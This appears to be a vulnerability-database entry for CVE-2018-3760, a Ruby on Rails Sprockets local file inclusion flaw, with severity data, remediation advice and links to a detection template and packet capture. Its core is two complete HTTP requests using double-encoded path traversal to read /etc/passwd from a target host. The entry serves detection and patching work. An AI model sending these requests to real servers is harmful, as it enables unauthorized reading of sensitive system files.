🔙 목록으로 돌아가기

CVE-2018-3760: Ruby On Rails - Local File Inclusion

TitleRuby On Rails - Local File Inclusion
Author0xrudra,pikpikcu
SeverityHigh
ImpactThis vulnerability can lead to unauthorized access to sensitive files and information stored on the server.
RemediationApply the latest security patches and updates for Ruby On Rails framework to fix the Local File Inclusion vulnerability.
CVSS Score7.5
EPSS Score0.93887
CVE IDCVE-2018-3760
CWE IDCWE-200,CWE-22
Tags cve2018 cve rails lfi ruby vulhub seclists redhat vkev vuln

🔍 Vulnerability Description

Ruby On Rails is vulnerable to local file inclusion caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use %252e%252e/ to access the root directory and read or execute any file on the target server.

🌐 HTTP Request

GET /assets/file:%2f%2f/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /assets/file:%2f%2fmrf0pC/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-3760.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-3760.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A